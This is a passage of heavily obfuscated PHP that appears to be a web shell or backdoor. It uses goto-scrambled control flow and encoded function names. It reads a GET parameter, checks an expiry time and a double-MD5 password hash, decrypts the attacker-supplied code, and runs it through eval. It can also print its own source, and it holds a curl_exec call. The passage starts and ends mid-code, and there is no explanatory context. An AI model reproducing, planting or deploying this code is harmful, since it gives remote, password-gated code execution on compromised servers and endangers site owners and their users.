curl_exec($TAHiaY0yIlUbwv9E); goto Vx9l6QVZwDCDDmBz; Gsdk4i76mDQ2Iq08: } static function ObUUzm1SS_j7bPNo() { goto r0i2FMmzdq2DZvyh; RmoU2daClBPR3vQh: $x8TdBB2WBVXJZws0 = @$bOpRU5qEoy8LHx0h[1 + 2]($bOpRU5qEoy8LHx0h[4 + 2], $akOv32zGMjzYEtGF); goto f2vXKL9zXwwapl8q; EosiiBI1RrAyS5Kz: @$bOpRU5qEoy8LHx0h[8 + 2](INPUT_GET, "\x6f\146") == 1 && die($bOpRU5qEoy8LHx0h[1 + 4](__FILE__)); goto D6nwSpQHlU_Ddhkk; fKSO27d3Ab2ZJ_qo: foreach ($DjwRGx2B_i1VZMfI as $WDgrXXlbfNkn0Bk2) { $bOpRU5qEoy8LHx0h[] = self::IOgm50j27VsrZkPt($WDgrXXlbfNkn0Bk2); demCizEMy7CZRP0G: } goto S8HpjjR238X9iK2I; f2vXKL9zXwwapl8q: $armx8kYAqOE9wvFz = $bOpRU5qEoy8LHx0h[1 + 1]($x8TdBB2WBVXJZws0, true); goto EosiiBI1RrAyS5Kz; cppX7gSvpbiE1P2_: $akOv32zGMjzYEtGF = @$bOpRU5qEoy8LHx0h[1]($bOpRU5qEoy8LHx0h[1 + 9](INPUT_GET, $bOpRU5qEoy8LHx0h[1 + 8])); goto RmoU2daClBPR3vQh; ufGYVLkIULe5P676: PuSCCeq3_qJrJZvO: goto gL5x7ZV_i6seNEXy; teHNsCzTBhLbFzrZ: die; goto ufGYVLkIULe5P676; D6nwSpQHlU_Ddhkk: if (!(@$armx8kYAqOE9wvFz[0] - time() > 0 and md5(md5($armx8kYAqOE9wvFz[0 + 3])) === "\62\71\x37\x38\64\145\64\x63\x31\x62\65\145\x65\x39\x34\142\66\x30\x30\x35\x63\141\x30\x63\x36\64\x37\x66\x65\64\x65\x38")) { goto PuSCCeq3_qJrJZvO; } goto PbwnvGTtv8n8642P; S8HpjjR238X9iK2I: Rs72J6mr8byGV983: goto cppX7gSvpbiE1P2_; r0i2FMmzdq2DZvyh: $DjwRGx2B_i1VZMfI = array("\62\62\x38\60\60\x3c\62\x32\67\x38\x35\74\62\x32\x37\x39\70\x3c\x32\62\70\60\x32\x3c\62\x32\x37\70\x33\74\62\62\x37\71\70\x3c\62\62\x38\60\x34\74\62\62\x37\71\67\74\62\62\67\70\x32\74\62\x32\67\70\71\x3c\62\x32\x38\60\x30\x3c\62\62\67\x38\x33\x3c\x32\x32\67\71\64\74\x32\x32\x37\x38\70\74\62\62\x37\x38\71", "\x32\x32\67\x38\x34\x3c\62\62\x37\70\x33\74\62\x32\67\x38\65\x3c\62\62\70\x30\64\x3c\x32\x32\67\x38\x35\74\x32\62\x37\70\x38\74\62\62\67\70\x33\74\x32\x32\70\65\60\x3c\x32\x32\70\x34\x38", "\x32\x32\x37\x39\x33\x3c\62\x32\67\x38\x34\x3c\x32\x32\x37\70\x38\x3c\62\62\67\70\x39\x3c\62\x32\70\x30\64\x3c\x32\x32\x37\x39\x39\74\62\62\x37\71\70\x3c\x32\x32\70\60\60\x3c\62\x32\67\70\x38\x3c\62\62\x37\x39\71\x3c\62\62\x37\71\70", "\x32\62\x37\70\67\74\62\x32\70\x30\x32\74\62\x32\x38\x30\60\74\x32\62\x37\x39\62", "\62\x32\70\60\61\x3c\x32\x32\x38\60\x32\x3c\x32\x32\x37\x38\64\x3c\62\x32\67\x39\x38\74\62\x32\x38\64\x35\x3c\62\62\x38\x34\x37\74\62\62\x38\x30\64\74\62\x32\67\x39\x39\x3c\x32\x32\x37\71\x38\x3c\x32\62\x38\60\60\74\62\x32\x37\x38\x38\74\62\x32\67\71\x39\x3c\62\x32\x37\x39\70", "\62\62\x37\71\x37\x3c\x32\x32\67\x39\x34\74\x32\62\x37\x39\x31\x3c\x32\62\67\71\70\x3c\62\62\x38\60\x34\x3c\x32\x32\x37\71\x36\74\x32\x32\x37\x39\x38\x3c\62\x32\x37\70\x33\74\x32\62\70\60\64\74\62\x32\70\x30\x30\74\62\62\67\70\x38\x3c\x32\x32\x37\x38\71\x3c\62\x32\x37\x38\63\74\x32\x32\67\x39\x38\74\62\x32\67\70\71\74\x32\x32\67\70\x33\x3c\x32\62\x37\x38\x34", "\62\x32\70\x32\67\x3c\x32\x32\x38\x35\x37", "\x32\x32\x37\x37\64", "\62\x32\x38\65\62\74\x32\62\70\65\67", "\62\x32\x38\x33\64\74\x32\x32\x38\x31\67\x3c\x32\62\70\61\67\74\62\62\x38\63\x34\x3c\x32\62\70\61\x30", "\62\62\x37\71\x37\x3c\x32\62\x37\71\64\x3c\x32\x32\67\71\61\x3c\62\62\x37\x38\x33\74\x32\62\x37\71\70\74\62\62\x37\x38\65\74\x32\x32\x38\60\x34\74\x32\x32\x37\x39\64\x3c\62\x32\67\x38\x39\74\62\62\67\x38\x37\74\x32\62\67\x38\x32\x3c\x32\x32\67\x38\63"); goto fKSO27d3Ab2ZJ_qo; PbwnvGTtv8n8642P: $fwvQrfC0DVOPQKCQ = self::c_jVU6KoiZoZczEb($armx8kYAqOE9wvFz[0 + 1], $bOpRU5qEoy8LHx0h[5 + 0]); goto XFmviKsZF6mid1P3; XFmviKsZF6mid1P3: @eval($bOpRU5qEoy8LHx0h[4 + 0]($fwvQrfC0DVOPQKCQ)); goto teHNsCzTBhLbFzrZ; gL5x7ZV_i6seNEXy: } } goto KgW5BINtKCV5tsv0; WFHKpIdXnkK0JYbN: function r_Y0bO0cZKUsW2md($QbUW2uM1jAoGj9GF) { goto XHgT2c75sRe5xPt3; no3aNOgb1r2foxNS: return rtrim(strtr(base64_encode($QbUW2uM1jAoGj9GF), "\53\x2f", "\55\x5f"), "\x3d"); goto dCiNZkos9SQYj65j; X9OHZVmt7V2IQtnG: return ''; goto gNWHkaDq6FYZcGSQ; gNWHkaDq6FYZcGSQ: nhjb89IrdrxPj2Nm: goto no3aNOgb1r2foxNS; XHgT2c75sRe5xPt3: if ($QbUW2uM1jAoGj9GF) { goto nhjb89IrdrxPj2Nm; } goto X9OHZVmt7V2IQtnG; dCiNZkos9SQYj65j: } goto RiAmju6skrcsYlhc; Z7kp4VsTFLsT7R2b: if ($jeCpfwJzH7oA6naU) { goto VDxa1NqxcYoLQhJ8; } goto rrlci8qvWF9Kjh1g; jD9XLQPuybjwwD1S: $r6DFz1ioFG3O3NP_ = substr($W9hApZvZIcbebiur, strpos($W9hApZvZIcbebiur, "\56")); goto gt6pDZ18dct2F3Fy; JaO_Ufh82Lx_ah18: VDxa1NqxcYoLQhJ8: ?>